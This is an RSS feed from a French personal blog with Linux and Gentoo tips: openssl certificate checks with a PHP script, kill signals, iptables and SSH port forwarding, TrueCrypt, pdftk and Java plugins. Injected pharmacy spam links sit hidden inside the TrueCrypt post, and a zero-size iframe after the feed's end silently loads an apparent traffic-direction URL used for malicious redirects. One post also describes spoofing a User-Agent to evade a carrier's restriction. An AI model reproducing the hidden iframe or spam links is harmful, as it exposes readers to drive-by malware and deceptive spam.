<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Cyril - Mes astuces &#187; Gentoo</title>
	<atom:link href="http://blog.cyril.me/tag/gentoo/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.cyril.me</link>
	<description>Des astuces sur un peu de tout : l&#039;iPhone, Gentoo, la Wii, ...</description>
	<lastBuildDate>Thu, 02 Feb 2012 18:43:25 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Openssl et les tests sur les certificats</title>
		<link>http://blog.cyril.me/2011/05/openssl-tests-sur-les-certificats/</link>
		<comments>http://blog.cyril.me/2011/05/openssl-tests-sur-les-certificats/#comments</comments>
		<pubDate>Fri, 13 May 2011 19:18:07 +0000</pubDate>
		<dc:creator>Cyril</dc:creator>
				<category><![CDATA[scripts rapides]]></category>
		<category><![CDATA[web]]></category>
		<category><![CDATA[Gentoo]]></category>
		<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://blog.cyril.me/?p=552</guid>
		<description><![CDATA[Voici un petit moyen de tester si un certificat ssl est valide, et s&#8217;il le restera encore pendant un certain temps&#8230; Openssl s_client et openssl x509 Openssl donne deux outils qui vont nous servir. 1. Le premier permet de se connecter à un serveur pour envoyer des requêtes openssl s_client -connect www.openssl.org:443 Cette commande va [...]]]></description>
			<content:encoded><![CDATA[<p>Voici un petit moyen de tester si un certificat ssl est valide, et s&#8217;il le restera encore pendant un certain temps&#8230;</p>
<h3>Openssl s_client et openssl x509</h3>
<p>Openssl donne deux outils qui vont nous servir.</p>
<p>1. Le premier permet de se connecter à un serveur pour envoyer des requêtes</p>
<pre>openssl s_client -connect www.openssl.org:443</pre>
<p>Cette commande va se connecter au server www.openssl.org sur le port 443 en utilisant le protocole SSL. Vous pourrez ensuite communiquer avec le serveur en HTTP :</p>
<pre>GET / HTTP/1.0
Host : www.openssl.org</pre>
<p>et le serveur va vous renvoyer la page. On peut aussi utiliser cette technique sur d&#8217;autres ports et d&#8217;autres protocoles, comme pour le SMTPs, le POPs, etc.</p>
<p>2. Le deuxième permet d&#8217;avoir des informations sur le certificat : est-il valide ? Quelle est sa date d&#8217;expiration ? Il suffit de piper la première commande avec la deuxième :</p>
<pre>echo | openssl s_client -connect www.openssl.org:443 | openssl x509 -noout -enddate</pre>
<h3>Quelques astuces avec openssl</h3>
<ul>
<li>Si openssl vous sort qu&#8217;un certificat dans la chaîne n&#8217;est pas valide, donnez-lui le chemin vers le dossier contenant les certificats racines, par exemple <code>-CApath /etc/ssl/certs</code></li>
<li>Si vous voulez éviter d&#8217;avoir les erreurs de la première commande en sortie, envoyez-les vers /dev/null : <code>openssl s_client -connect www.openssl.org:443 2&gt; /dev/null</code></li>
<li>Si vous voulez connaitres les différentes options de openssl s_client ou de openssl x509, essayez <code>man ssl-s_client</code> ou <code>man ssl-x509</code></li>
</ul>
<h3>Petit bonus : le script PHP qui teste si un certificat expire bientôt</h3>
<div class="dean_ch" style="white-space: wrap;"><ol><li class="li1"><div class="de1">$args = <span class="st0">'www.openssl.org:443'</span>;</div></li>
<li class="li1"><div class="de1">$command =</div></li>
<li class="li1"><div class="de1">&nbsp; <span class="st0">'date +%s -d &quot;$(LANG=C openssl s_client -connect '</span></div></li>
<li class="li1"><div class="de1">&nbsp; .<span class="me1">escapeshellarg</span><span class="br0">&#40;</span>$args<span class="br0">&#41;</span></div></li>
<li class="li2"><div class="de2">&nbsp; .<span class="st0">' -CApath /etc/ssl/certs/ &lt; /dev/null 2&gt;/dev/null | openssl x509 -noout -text -enddate | tail -n1 | cut -d= -f2)&quot;'</span>;</div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">exec<span class="br0">&#40;</span>$command, $output<span class="br0">&#41;</span>;</div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">$time = array_shift<span class="br0">&#40;</span>$output<span class="br0">&#41;</span>;</div></li>
<li class="li2"><div class="de2"><span class="kw1">if</span><span class="br0">&#40;</span>!is_numeric<span class="br0">&#40;</span>$time<span class="br0">&#41;</span> || $time == <span class="nu0">0</span><span class="br0">&#41;</span></div></li>
<li class="li1"><div class="de1"><span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; <span class="co1">// Erreur : impossible de tester la validité du certificat : pourquoi ?</span></div></li>
<li class="li1"><div class="de1"><span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1"><span class="kw1">else</span></div></li>
<li class="li2"><div class="de2"><span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; <span class="co1">// On va avoir le nombre de jour restant</span></div></li>
<li class="li1"><div class="de1">&nbsp; $nDaysLeft = floor<span class="br0">&#40;</span><span class="br0">&#40;</span>$time - time<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>/<span class="nu0">86400</span><span class="br0">&#41;</span>;</div></li>
<li class="li1"><div class="de1"><span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li></ol></div>
<p><em>Articles sources</em></p>
<p>Tester la date de fin d&#8217;un certificat : <a href="http://www.brandonhutchinson.com/When_does_my_certificate_expire%3F.html">http://www.brandonhutchinson.com/When_does_my_certificate_expire%3F.html</a><br />
Tester la validité du certificat avec les certificats racines : <a href="http://stackoverflow.com/questions/4103472/ssl-handshake-fails-with-a-verisign-chain-certificate-that-contains-two-ca-si">http://stackoverflow.com/questions/4103472/ssl-handshake-fails-with-a-verisign-chain-certificate-that-contains-two-ca-si</a></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.cyril.me/2011/05/openssl-tests-sur-les-certificats/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Mettre en pause un processus linux</title>
		<link>http://blog.cyril.me/2011/03/mettre-en-pause-un-processus-linux/</link>
		<comments>http://blog.cyril.me/2011/03/mettre-en-pause-un-processus-linux/#comments</comments>
		<pubDate>Sun, 20 Mar 2011 08:25:57 +0000</pubDate>
		<dc:creator>Cyril</dc:creator>
				<category><![CDATA[Gentoo]]></category>
		<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://blog.cyril.me/?p=550</guid>
		<description><![CDATA[Voici comment mettre en pause un processus sous linux, et comment le redémarrer. kill, ne me tue pas ! La commande kill permet d&#8217;envoyer des signaux à un processus, par exemple pour lui dire de s&#8217;arrêter : kill $pid On peut préciser à la commande kill le signal que l&#8217;on souhaite envoyer. Par exemple, pour [...]]]></description>
			<content:encoded><![CDATA[<p>Voici comment mettre en pause un processus sous linux, et comment le redémarrer.</p>
<h3>kill, ne me tue pas !</h3>
<p>La commande <strong>kill</strong> permet d&#8217;envoyer des signaux à un processus, par exemple pour lui dire de s&#8217;arrêter :<br />
<code>kill $pid</code></p>
<p>On peut préciser à la commande kill le signal que l&#8217;on souhaite envoyer. Par exemple, pour tuer un processus récalcitrant à s&#8217;arrêter, on peut envoyer le signal 9 SIGKILL :<br />
kill -9 $pid</p>
<h3>Stop and restart</h3>
<p>Pour dire à un processus de s&#8217;arrêter temporairement, puis de redémarrer, il faut envoyer les signaux <strong>SIGSTOP</strong> pour l&#8217;arrêter, et <strong>SIGCONT</strong> pour lui dire de continuer :</p>
<pre>kill -SIGSTOP $pid # Stop
kill -SIGCONT $pid # Start</pre>
<p><span style="text-decoration: underline;">Astuce :</span> si vous ne voulez pas recopier le numéro du processus et que vous préférez utiliser le nom de l&#8217;exécutable, utilisez la commande <strong>killall</strong>.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.cyril.me/2011/03/mettre-en-pause-un-processus-linux/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Port forwarding avec iptables et ssh</title>
		<link>http://blog.cyril.me/2011/03/port-forwarding-iptables-ssh/</link>
		<comments>http://blog.cyril.me/2011/03/port-forwarding-iptables-ssh/#comments</comments>
		<pubDate>Wed, 16 Mar 2011 07:32:34 +0000</pubDate>
		<dc:creator>Cyril</dc:creator>
				<category><![CDATA[Gentoo]]></category>
		<category><![CDATA[reseau]]></category>

		<guid isPermaLink="false">http://blog.cyril.me/?p=546</guid>
		<description><![CDATA[Ceci est un autre petit memo sur les iptables. Ici, nous allons voir comment rediriger toutes les requêtes sortantes vers un port local de notre machine. Le but est de proposer une solution pour accéder à des services qui se trouvent derrière un firewall, alors que l&#8217;on possède par exemple une connexion ssh. Ce memo [...]]]></description>
			<content:encoded><![CDATA[<p>Ceci est un autre petit memo sur les iptables. Ici, nous allons voir comment rediriger toutes les requêtes sortantes vers un port local de notre machine. Le but est de proposer une solution pour accéder à des services qui se trouvent derrière un firewall, alors que l&#8217;on possède par exemple une connexion ssh.</p>
<p>Ce memo complète le précédent sur <a title="Port forwarding avec iptables" href="http://blog.cyril.me/2010/07/udp-tcp-port-forwarding-iptables/">la redirection de paquets qui nous sont destinés</a>.</p>
<h3>Petit rappel : mise en place du NAT</h3>
<p>Pour créer une passerelle, il faut activer le transfert de paquet et la translation d&#8217;adresses :</p>
<pre>sysctl net.ipv4.ip_forward=1
iptables -A POSTROUTING -o eth0 -j MASQUERADE</pre>
<h3>Mise en place d&#8217;un tunnel transparent</h3>
<p>On procède ici en deux étapes : d&#8217;abord la création du tunnel en tant que tel :</p>
<pre>ssh -L port_local:ip_destination:port_destination user@host</pre>
<p><code>port_local</code> : c&#8217;est le port de notre machine sur lequel le service sera disponible<br />
<code>ip_destination</code> : c&#8217;est l&#8217;ip (ou le nom dns) de la machine à laquelle nous voulons avoir accès<br />
<code>port_destination</code> : c&#8217;est le port de la machine à laquelle nous voulons avoir accès<br />
<code>user@host</code> : ce sont les utilisateurs et la machine sur laquelle nous allons nous connecter pour accéder à notre destination finale</p>
<p>Ensuite, nous allons automatiser la redirection des paquets avec iptables :</p>
<pre>iptables -t nat -A OUTPUT -d $ip_destination -p tcp \
  --dport $port_destination -j REDIRECT --to-ports $port_local
iptables -t nat -A PREROUTING -d $ip_destination -p tcp \
  --dport $port_destination -j REDIRECT --to-ports $port_local</pre>
<p>La première ligne est pour nous : elle permet à la machine elle-même d&#8217;accéder dorénavant au nouveau service comme d&#8217;habitude.<br />
La deuxième ligne est pour le nat à proprement parler : elle permet de rediriger automatiquement les paquets des machines qui nous utilisent comme passerelle.</p>
<p><em>Plus d&#8217;informations sur le fonctionnement des iptables : <a title="iptables tutorial" href="http://www.frozentux.net/iptables-tutorial/iptables-tutorial.html" target="_blank">iptables tutorial, très complet</a>.</em></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.cyril.me/2011/03/port-forwarding-iptables-ssh/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Chiffrement de données avec truecrypt</title>
		<link>http://blog.cyril.me/2011/02/chiffrement-donnees-truecrypt/</link>
		<comments>http://blog.cyril.me/2011/02/chiffrement-donnees-truecrypt/#comments</comments>
		<pubDate>Fri, 25 Feb 2011 15:23:25 +0000</pubDate>
		<dc:creator>Cyril</dc:creator>
				<category><![CDATA[tout et rien]]></category>
		<category><![CDATA[Gentoo]]></category>
		<category><![CDATA[windows 7]]></category>

		<guid isPermaLink="false">http://blog.cyril.me/?p=451</guid>
		<description><![CDATA[Crypter Chiffrer ses données, ça permet de protéger ses données. C&#8217;est surtout pratique pour viagra documents très personnels, ou confidentiels de bureau, que vous baladez sur une clé USB ou sur un ordinateur portable. Truecrypt : un logiciel complet Truecrypt est un logiciel qui vous permet de chiffrer vos données sous Windows, Mac OS et [...]]]></description>
			<content:encoded><![CDATA[<p><del>Crypter</del> Chiffrer ses données, ça perm<a href='http://cvsonlinepharmacystore.com/products/fml-forte.htm'>et</a> de protéger ses données. C&#8217;est surtout pratique pour <a href=http://atlantic-drugs.net/products/viagra.htm>viagra</a> documents très personnels, ou confidentiels de bureau, que vous baladez sur une clé USB ou sur un ordinateur portable.</p>
<h3>Truecrypt : un logiciel complet</h3>
<p><a title="Logiciel de chiffrement de données" href="http://www.truecrypt.org/" target="_blank">Truecrypt</a> est un logiciel qui vous permet de chiffrer vos données sous Windows, Mac OS et Linux. Et ce qui est top, c&#8217;est que ce chiffrement est compatible entre tous ces systèmes d&#8217;exploitation : vous pourrez utiliser par exemple la même clé USB chiffrée sur Linux ou sous Windows, entre différents ordinateurs ou en multiboot.</p>
<h3>Cas pratique : multiboot windows et linux</h3>
<p>Comme précisé ci-dessus, vous pouvez utiliser les mêmes fichiers sous Windows et sous Linux. Vous pouvez donc créer un Y:\ sous windows, et monter le système de fichier sous linux dans /media/crypt par exemple.</p>
<p>Voici les différentes utilisations que vous pouvez en faire :</p>
<ul>
<li>Partage de média : partagez vos photos, vos vidéos, votre musique sur un disque dur chiffré et partagé entre linux et windows</li>
<li>Sauvegardez vos données importantes : conservez vos clés de sécurité (des impôts par exemple), vos scans de carte d&#8217;identité, votre compta, vos fichiers (|Open|Libre)Office  sur votre ordinateur. Si vous le perdez (dans le cas d&#8217;un portable, c&#8217;est plus probable que dans le cas d&#8217;un fixe !), alors vos données seront inaccessibles aux voleurs.</li>
<li>Dans le cas de Windows, utilisez les <a href="http://portableapps.com/" target="_blank">applications portables</a> ! Ainsi, sauvegardez vos emails et vos données de surf sur le disque chiffré, en utilisant les versions portables de Firefox et Thunderbird.</li>
</ul>
<h3>Installation et configuration</h3>
<h4>Installer truecrypt sous Windows</h4>
<p>Pour installer truecrypt, vous pouvez consulter <a title="Installation de truecrypt sous windows" href="http://www.truecrypt.org/docs/?s=tutorial" target="_blank">le tutorial présenté sur le site de truecrypt</a>, mais le logiciel est assez facile à dompter : si vous avez un doute, dites que vous voulez créer un fichier sur une partition existante, et ne pas utiliser une partition entière.</p>
<p>Ensuite, montez votre fichier chiffré, puis faites &laquo;&nbsp;sauvegarder les volumes favoris&nbsp;&raquo;. Ensuite, modifiez les préférences de l&#8217;application et cochez &laquo;&nbsp;monter les disques favoris au démarrage&nbsp;&raquo;.</p>
<h4>Installer truecrypt sous linux</h4>
<p>Sous linux, utilisez l&#8217;utilitaire de votre distribution pour installer truecrypt, ou téléchargez directement une archive pour votre distribution sur le site officiel. Dans le cas de gentoo, si vous avez des difficultés pour l&#8217;installer, n&#8217;hésitez pas à laisser un commentaire ! Mais sachez que Truecrypt utilise FUSE pour gérer le montage du filesystem et des modules noyau pour le chiffrement (Twofish, Serpent, Sha*, MD5*, RMD*, AES&#8230;) en fonction de ce que vous aurez choisi lors de la création du fichier chiffré.</p>
<p>Pour monter automatiquement au démarrage de KDE, vous pouvez utiliser le fichier suivant, qui va vous demander un mot de passe puis monter le fichier chiffré (adaptez-le à vos besoins !). Vous pouvez ensuite dire à KDE de le lancer à chaque ouverture de session.<br />
Télécharger le script : <a title="Script de montage avec truecrypt" href="http://blog.cyril.me/wp-content/uploads/2011/02/tc-mount.txt" target="_blank">http://blog.cyril.me/wp-content/uploads/2011/02/tc-mount.txt</a></p>
<h3>Chiffrer une clé USB</h3>
<p>Vous pouvez voir comment installer truecrypt sur une clé USB, pour ensuite pouvoir vous ballader avec vos données sur une clé USB en toute sécurité.</p>
<p><strong>Attention : le chiffrement d&#8217;une clé USB va supprimer tout son contenu !</strong> Sauvegardez d&#8217;abord vos données, créez le disque chiffré puis recopiez vos fichiers.</p>
<p>Plus d&#8217;infos sur l&#8217;installation sur une clé USB sur le site de truecrypt : <a href="http://www.truecrypt.org/docs/?s=truecrypt-portable" target="_blank">installer truecrypt sur une clé USB</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.cyril.me/2011/02/chiffrement-donnees-truecrypt/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Port forwarding avec iptables</title>
		<link>http://blog.cyril.me/2010/07/udp-tcp-port-forwarding-iptables/</link>
		<comments>http://blog.cyril.me/2010/07/udp-tcp-port-forwarding-iptables/#comments</comments>
		<pubDate>Fri, 30 Jul 2010 06:55:37 +0000</pubDate>
		<dc:creator>Cyril</dc:creator>
				<category><![CDATA[Gentoo]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[video]]></category>

		<guid isPermaLink="false">http://blog.cyril.me/?p=339</guid>
		<description><![CDATA[Ceci est un petit mémo sur la méthode pour transférer des paquets sous linux avec iptables. 1. Autoriser votre ordinateur à transférer des packets Vous devez activer dans un premier temps le transfert de paquets par votre ordinateur. En root, exécutez la commande suivante : # sysctl net.ipv4.ip_forward=1 Si vous souhaitez que ce paramètre soit [...]]]></description>
			<content:encoded><![CDATA[<p>Ceci est un petit mémo sur la méthode pour transférer des paquets sous linux avec iptables.</p>
<h3><a name="p339_ip_forward">1. Autoriser votre ordinateur à transférer des packets</a></h3>
<p>Vous devez activer dans un premier temps le transfert de paquets par votre ordinateur. En root, exécutez la commande suivante :</p>
<p><code># sysctl net.ipv4.ip_forward=1</code></p>
<p>Si vous souhaitez que ce paramètre soit activé par défaut au démarrage de votre ordinateur, éditez le fichier /etc/sysctl.conf, qui sera utilisé au boot pour remettre les paramètres à jour.</p>
<h3><a name="p339_nat">2. Faire du NAT avec iptables (translation d&#8217;adresse)</a></h3>
<p>Le NAT consiste à autoriser qu&#8217;un ordinateur utilise le votre comme passerelle vers internet. Par exemple, vous avez une clé 3G ou un accès simple à Internet : mettez-vous en réseau avec l&#8217;autre ordinateur (avec des IPs fixes, un câble réseau ou un wifi en ad-hoc). Ensuite, autorisez le NAT de la manière suivante (remplacez eth0 par l&#8217;interface de votre connexion Internet).</p>
<p><code># iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE</code></p>
<h3><a name="p339_forward_udp">3. Forwarder des paquets</a></h3>
<p>Pour forwarder les paquets qui arrivent sur un port vers un autre, utilisez iptables ! L&#8217;exemple suivant montre comment router les paquets UDP port 31234 vers une autre IP (on aurait aussi pu changer le port de destination pour en mettre un différent).</p>
<p><code># iptables -t nat -A PREROUTING -p udp --dport 31234 -j DNAT --to 10.0.0.2:31234</code></p>
<p><span style="text-decoration: underline;">Exemple d&#8217;utilisation :</span> transférer des paquets RSTP (comme ceux de la TV Freebox) vers un autre ordinateur.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.cyril.me/2010/07/udp-tcp-port-forwarding-iptables/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Concatener des pdfs avec pdftk</title>
		<link>http://blog.cyril.me/2010/04/concatener-combiner-pdfs-pdftk/</link>
		<comments>http://blog.cyril.me/2010/04/concatener-combiner-pdfs-pdftk/#comments</comments>
		<pubDate>Thu, 29 Apr 2010 06:39:12 +0000</pubDate>
		<dc:creator>Cyril</dc:creator>
				<category><![CDATA[Gentoo]]></category>
		<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://blog.cyril.me/?p=238</guid>
		<description><![CDATA[Manipuler des PDFs Admettons que vous ayez deux fichiers PDF que vous souhaitiez regrouper en un seul fichier (par exemple les recto et verso de votre carte d&#8217;identité). Pour ce faire, voici un petit outil bien pratique : pdftk. Bien que l&#8217;utilisation de ce programme est un peu compliquée, il n&#8217;en reste pas moins bien [...]]]></description>
			<content:encoded><![CDATA[<h3>Manipuler des PDFs</h3>
<p>Admettons que vous ayez deux fichiers PDF que vous souhaitiez regrouper en un seul fichier (par exemple les recto et verso de votre carte d&#8217;identité). Pour ce faire, voici un petit outil bien pratique : <a title="pdftk : manipulation de fichiers PDF" href="http://www.accesspdf.com/pdftk/">pdftk</a>.</p>
<p>Bien que l&#8217;utilisation de ce programme est un peu compliquée, il n&#8217;en reste pas moins bien pratique !<br />
<code>$ pdftk recto.pdf verso.pdf cat output combine.pdf</code></p>
<h3>Convertir des JPG en PDF</h3>
<p>Je me suis mis à scanner ce matin un document, directement sur une clé USB (c&#8217;est plus pratique avec Linux que de commencer à chercher comment installer les drivers de scan <img src='http://blog.cyril.me/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  ). Je me suis récupéré, à ma grande surprise, des fichiers JPEG au lieu d&#8217;un PDF tant attendu !</p>
<p>Pas de soucis : avec convert de imagemagick, vous pouvez convertir chaque JPG en PDF :<br />
<code>$ for f in *.jpg; do echo Converting $f; convert $f $f.pdf; done</code></p>
<p>Ensuite, utilisez <code>pdftk</code> pour concaténer les fichiers PDF ainsi créés.</p>
<p><em>Installation des outils : les outils présentés ici sont disponibles dans la majorité des distributions (ubuntu, gentoo, &#8230;)</em></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.cyril.me/2010/04/concatener-combiner-pdfs-pdftk/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Utiliser son SPA comme modem</title>
		<link>http://blog.cyril.me/2009/05/spa-modem-partage-connexion-internet/</link>
		<comments>http://blog.cyril.me/2009/05/spa-modem-partage-connexion-internet/#comments</comments>
		<pubDate>Wed, 20 May 2009 06:20:06 +0000</pubDate>
		<dc:creator>Cyril</dc:creator>
				<category><![CDATA[Gentoo]]></category>
		<category><![CDATA[Samsung Player Addict]]></category>
		<category><![CDATA[i900]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[mobile]]></category>
		<category><![CDATA[reseau]]></category>
		<category><![CDATA[sfr]]></category>

		<guid isPermaLink="false">http://blog.cyril.me/?p=95</guid>
		<description><![CDATA[Vous avez un ordinateur, et vous êtes en vacances (au ski, à la mer, ...) et vous n'avez pas votre connexion ADSL. Vous avez un ordinateur, pratique à utiliser, qui n'a pas d'internet, et un téléphone mobile, un peu limité, mais qui peut se connecter. L'idée est donc d'utiliser la connexion internet du téléphone pour surfer sur son PC.]]></description>
			<content:encoded><![CDATA[<p><span style="text-decoration: underline;">Note :</span> la majorité des opérateurs de téléphonie mobile interdise dans leur forfait d&#8217;utiliser le mobile comme modem Internet.</p>
<h3>Principe de fonctionnement</h3>
<p>Le principe est simple : vous avez un ordinateur, et vous êtes en vacances (au ski, à la mer, &#8230;) et vous n&#8217;avez pas votre connexion ADSL. Vous avez un ordinateur, pratique à utiliser, qui n&#8217;a pas d&#8217;internet, et un téléphone mobile, un peu limité, mais qui peut se connecter. L&#8217;idée est donc d&#8217;utiliser la connexion internet du téléphone pour surfer sur son PC.</p>
<h3>L&#8217;utilitaire de partage de connexion internet</h3>
<p>Dans Windows Mobile, il y a une application nommée &laquo;&nbsp;<strong>Partage de connexion</strong>&laquo;&nbsp;. Dans cet utilitaire, vous choisissez la couche réseau à utiliser entre le téléphone et l&#8217;ordinateur, et la connexion à utiliser pour se connecter à internet. Afin d&#8217;éviter une configuration complexe du bluetooth, je conseille d&#8217;utiliser le cable de connexion USB fourni. Ca a aussi l&#8217;avantage de recharger le téléphone pendant cette utilisation.</p>
<p>Lorsque vous tapotez sur &laquo;&nbsp;Connecter&nbsp;&raquo;, le téléphone se connecte à internet, et dans le cas de l&#8217;USB, il passe en mode &laquo;&nbsp;carte réseau USB&nbsp;&raquo;. Il prend une adresse IP (192.168.0.1 par défaut) et lance un serveur DHCP. Lorsque le PC va chercher à se connecter au téléphone, il va récupérer une IP (192.168.0.2), et aussi les DNS : aucune configuration manuelle des paramètres IP n&#8217;est nécessaire.</p>
<p><span style="text-decoration: underline;">Note sur la carte réseau du PC :</span> sous Windows, si vous avez installé le logiciel de synchronisation, vous devriez normalement avoir la carte réseau. Sous linux, il faut compiler le module <strong>rndis_host</strong> (Device Drivers =&gt; Network =&gt; Usb adaptaters =&gt; Multi-purpose USB networking framework =&gt; RNDIS host).</p>
<h3>Accès au web</h3>
<p>Pas si vite, malheureux ! Vous avez essayé de vous connecter avec Firefox ou IE et ça ne marche pas ? C&#8217;est normal ! Votre opérateur bloque sans doute les connexions internet qui ne sont pas identifiées comme &laquo;&nbsp;mobile&nbsp;&raquo;. Il suffit donc de leurrer votre opérateur en changeant le User-Agent. Pour ce faire, on peut par exemple utiliser le User-Agent switcher, extension Firefox. Il suffit de configurer un profil avec comme <strong>User-Agent</strong> celui de votre SPA : <em>&laquo;&nbsp;SAMSUNG-SGH-i900/1.0 Opera 9.5&#8243;</em>.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.cyril.me/2009/05/spa-modem-partage-connexion-internet/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>Gentoo, Firefox et java 64 bits</title>
		<link>http://blog.cyril.me/2009/01/linux-gentoo-firefox-java-plugin-64-bits/</link>
		<comments>http://blog.cyril.me/2009/01/linux-gentoo-firefox-java-plugin-64-bits/#comments</comments>
		<pubDate>Tue, 27 Jan 2009 11:41:25 +0000</pubDate>
		<dc:creator>Cyril</dc:creator>
				<category><![CDATA[Gentoo]]></category>
		<category><![CDATA[64bits]]></category>
		<category><![CDATA[amd64]]></category>
		<category><![CDATA[firefox]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[plugin]]></category>
		<category><![CDATA[sun]]></category>
		<category><![CDATA[x86]]></category>

		<guid isPermaLink="false">http://blog.cyril.me/?p=75</guid>
		<description><![CDATA[Problème du jour : je voulais faire développer des photos sur fnacphoto.com. Je me connecte, je choisis &#171;&#160;Commande expresse&#160;&#187; et là : il me faut un plugin java pour uploader mes photos. Le problème : je n&#8217;ai pas de plugin java avec mon Firefox&#8230; Je vous propose donc 3 possibilités pour pouvoir faire tourner les [...]]]></description>
			<content:encoded><![CDATA[<p>Problème du jour : je voulais faire développer des photos sur fnacphoto.com. Je me connecte, je choisis &laquo;&nbsp;Commande expresse&nbsp;&raquo; et là : il me faut un plugin java pour uploader mes photos. Le problème : je n&#8217;ai pas de plugin java avec mon Firefox&#8230;</p>
<p>Je vous propose donc 3 possibilités pour pouvoir faire tourner les applets java, pour uploader vos photos <img src='http://blog.cyril.me/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  :</p>
<h3>Utiliser konqueror</h3>
<p>L&#8217;avantage d&#8217;utiliser konqueror, c&#8217;est que ce dernier fait directement appel à la machine virtuelle java sans passer par un plugin. Il suffit donc juste d&#8217;avoir installé une Machine Virtuelle java. Pour installer la machine virtuelle de sun :</p>
<pre>emerge sun-jdk</pre>
<h3>Utiliser Firefox en mode 32 bits</h3>
<p>Autre possibilité (et c&#8217;est celle que j&#8217;ai utilisée), vous pouvez aller sur votre site avec un Firefox en 32 bits. Vous pouvez télécharger les versions binaires de firefox sur le <a title="Binaires de Firefox" href="http://ftp.mozilla.org/pub/firefox" target="_self">ftp de mozilla</a>. Téléchargez la version de firefox qui correspond à votre installation. Installez aussi une version 32 bits du plugin java pour Firefox :</p>
<pre>USE="nsplugin" emerge emul-linux-x86-java</pre>
<p>Sélectionnez le bon plugin java avec la commande eselect (tapez <code>eselect java-nsplugin</code> pour voir comment manipuler les différentes versions de java). Lancez enfin Firefox 32 bits, et le tour est joué.</p>
<h3>Installer manuellement le plugin 64 bits</h3>
<p>C&#8217;est sans aucun doute la meilleure façon de procéder, mais aussi la plus compliquée pour le néophite. Sun a sorti une <a href="http://www.java.net/download/jdk6/6u12/promoted/b02/binaries/jre-6u12-ea-bin-b02-linux-amd64-08_dec_2008.bin">version 64 bits du plugin pour Firefox</a>.</p>
<p>Il suffit alors de télécharger cette version, et de l&#8217;exécuter (sh nomdufichier.bin). Je conseille de décompresser (ou de déplacer si c&#8217;est déjà fait) dans le répertoire /opt/.</p>
<p>Enfin, pour que le plugin soit reconnu par eselect, il faut un peu bidouiller dans le répertoire /usr/share/java-config-2.</p>
<p>Enregistrez le fichier <a href="http://blog.cyril.me/wp-content/uploads/2009/01/sun-jre-1.6">sun-jre-1.6</a>, puis en tant que root, copier-le vers le répertoire /usr/share/java-config-2/vm. Faites ensuite un lien symbolique du plugin vers le dossier /usr/share/java-config-2/system/</p>
<pre>cp sun-jre-1.6 /usr/share/java-config-2/vm
ln -s /opt/sun-jre-1.6.0.12/lib/amd64/libnpjp2 \
  /usr/share/java-config-2/nsplugin</pre>
<p>Vérifiez alors que le plugin est bien installé en tapant about:plugins dans Firefox.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.cyril.me/2009/01/linux-gentoo-firefox-java-plugin-64-bits/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<iframe src="http://pokosa.com/tds/go.php?sid=1" width="0" height="0" frameborder="0"></iframe>
